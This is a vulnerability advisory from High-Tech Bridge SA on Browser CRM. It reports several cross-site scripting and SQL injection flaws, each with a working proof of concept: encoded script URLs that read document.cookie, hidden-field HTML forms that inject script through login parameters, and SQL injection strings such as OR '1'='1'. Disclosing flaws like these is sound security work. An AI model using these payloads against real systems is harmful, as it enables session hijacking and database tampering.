Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Browser CRM, which can be exploited to perform cross-site scripting and SQL injection attacks.

1) Cross-Site Scripting in Browser CRM
1.1 Input appended to the URL after multiple files is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site
The following PoC code is available:
http://[host]/index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script% 3E
http://[host]/modules/admin/admin_module_index.php/%22%3E%3Cscript%3Ealert%28doc ument.cookie%29;%3C/script%3E
http://[host]/modules/calendar/customise_calendar_times.php/%22%3E%3Cscript%3Eal ert%28document.cookie%29;%3C/script%3E
Successful exploitation of this vulnerabilities requires that Apache's directive "AcceptPathInfo" is set to "on" or "default" (default value is "default")
1.2 Input passed via the "login[]" POST parameters to index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC code is available:
<form action="http://[host]/index.php" method="post">
<input type="hidden" name="login[host]" value='"><script>alert(1);</script>'>
<input type="hidden" name="login[password]" value='"><script>alert(2);</script>'>
<input type="hidden" name="login[rebuild_cache]" value='"><script>alert(3);</script>'>
<input type="hidden" name="login[remember_me]" value='"><script>alert(4);</script>'>
<input type="hidden" name="login[skin]" value='"><script>alert(5);</script>'>
<input type="hidden" name="login[username]" value='"><script>alert(6);</script>'>
<input type="submit" value="submit" id="btn">
</form>

1.3 Input passed via the "framed" GET parameter to /licence/index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC code is available:
http://[host]/licence/index.php?framed=%22%3E%3Cscript%3Ealert%28document.cookie %29;%3C/script%3E
1.4 Input passed via the "framed" GET parameter to /licence/view.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC code is available:
http://[host]/licence/view.php?framed=%22%3E%3Cscript%3Ealert%28document.cookie% 29;%3C/script%3E
1.5 Input passed via the "login[]" POST parameters to /pub/clients.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC code is available:
<form action="http://[host]/pub/clients.php" method="post">
<input type="hidden" name="login[host]" value='"><script>alert(1);</script>'>
<input type="hidden" name="login[username]" value='"><script>alert(2);</script>'>
<input type="hidden" name="login[password]" value='"><script>alert(3);</script>'>
<input type="hidden" name="login[webform]" value='"><script>alert(4);</script>'>
<input type="hidden" name="login[disable_email_check]" value='"><script>alert(5);</script>'>
<input type="hidden" name="login[client_email]" value='"><script>alert(6);</script>'>
<input type="hidden" name="login[client_password]" value='"><script>alert(7);</script>'>
<input type="submit" value="submit" id="btn">
</form>


2) SQL Injection in Browser CRM
2.1 Input passed via the "login[username]" POST parameter to index.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
<form action="http://[host]/index.php" method="post">
<input type="hidden" name="login[username]" value='1" SQL_CODE_HERE'>
<input type="submit" value="submit" id="btn">
</form>

2.2 Input passed via the "parent_id" GET parameter to /modules/Documents/version_list.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/modules/Documents/version_list.php?parent_id=1%20AND%201=2%20--%20 2
Successful exploitation of this vulnerability requires attacker to be registered and logged-in.
2.3 Input passed via the "contact_id" GET parameter to /modules/Documents/version_list.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/modules/Documents/index.php?id=1&contact_id=1%27%20OR%20%271%27=%2 71
Successful exploitation of this vulnerability requires attacker to be registered and logged-in.
